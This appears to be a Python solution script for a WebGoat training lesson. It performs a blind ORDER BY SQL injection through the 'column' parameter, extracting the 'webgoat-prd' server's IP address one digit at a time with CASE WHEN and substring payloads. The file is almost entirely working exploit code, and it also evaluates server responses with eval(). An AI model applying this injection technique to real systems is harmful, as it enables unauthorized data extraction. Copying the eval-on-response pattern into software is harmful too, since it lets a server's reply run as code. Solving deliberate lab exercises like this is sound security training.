#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import string 

def verify(arg,**kwargs):
    result = {
        'text':''
    }
    digits = string.digits#获得0~9的数字
    limits = "123"#IP的A段位数限制
    rvalue = []#存储结果值
    for i in limits:
        for d in digits:
            #order by 注入有效载荷
            payload = "(case when exists(select id from servers where" + \
                        " hostname='webgoat-prd'and substring(ip,{0},1)={1})".format(i,d) + \
                        "then id else ip end)"
            path = "/WebGoat/SqlInjectionMitigations/servers?column="
            urlPath = arg['url'] + path + payload
            headers = arg['requests']['headers']
            response = requests.get(url=urlPath,headers=headers)
            ltext = eval(response.text)
            idvalue = ltext[0]['id']
            if idvalue == "1":
                rvalue.append(d)
                break
    result['text'] = ''.join(rvalue)
    return result